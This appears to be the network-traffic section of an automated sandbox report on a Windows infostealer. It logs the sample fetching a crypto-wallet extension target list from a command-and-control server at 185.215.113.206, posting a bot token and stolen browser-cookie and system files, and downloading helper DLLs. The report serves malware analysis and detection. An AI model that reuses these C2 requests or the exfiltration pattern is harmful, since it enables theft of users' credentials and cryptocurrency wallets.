Nov 17, 2024 03:42:11.345493078 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 17, 2024 03:42:11.345520020 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 17, 2024 03:42:11.345545053 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 17, 2024 03:42:11.345561028 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 17, 2024 03:42:11.345577002 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 17, 2024 03:42:11.345592976 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 17, 2024 03:42:11.345608950 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 17, 2024 03:42:11.347479105 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="message"fplugins------AKEGDAKEHJDHIDHJJDAE--
Nov 17, 2024 03:42:11.633137941 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 17, 2024 03:42:11.683094025 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFC Host: 185.215.113.206 Content-Length: 6555 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 03:42:11.683140993 CET	6555	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 Data Ascii: ------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 17, 2024 03:42:12.482326984 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 03:42:12.807714939 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 03:42:13.091211081 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 17, 2024 03:42:13.091239929 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49728	185.215.113.206	80	5908	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 03:42:24.388556004 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CGHCGIIDGDAKFIEBKFCF--
Nov 17, 2024 03:42:25.796174049 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 03:42:25.912167072 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="file"------KKECFIEBGCAKJKECGCFI--
Nov 17, 2024 03:42:26.694240093 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49797	185.215.113.206	80	5908	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 03:42:32.543186903 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHDHIJDGCBAKFIEGHCB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 03:42:32.543226004 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 Data Ascii: ------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 17, 2024 03:42:33.964013100 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 03:42:34.081079006 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 32 64 31 65 31 30 34 64 32 64 31 37 36 30 63 36 65 61 39 62 63 33 62 65 30 61 39 35 37 64 65 36 38 32 32 34 64 33 36 37 36 30 32 63 37 34 31 66 39 39 39 62 35 65 36 32 65 33 65 63 32 31 64 30 34 66 30 63 31 63 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"c42d1e104d2d1760c6ea9bc3be0a957de68224d367602c741f999b5e62e3ec21d04f0c1c------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="file"------DBKFIDAAEHIEGCBFIDBF--
Nov 17, 2024 03:42:34.871253014 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 03:42:35.711007118 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 03:42:35.994565010 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 17, 2024 03:42:35.994590044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 17, 2024 03:42:35.994616985 CET	324	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 17, 2024 03:42:35.994646072 CET	1236	IN	Data Raw: 0f b6 c9 c1 e1 18 89 d7 89 54 24 18 0f b6 d2 c1 e2 10 09 ca 0f b6 7c 24 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 Data Ascii: T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?
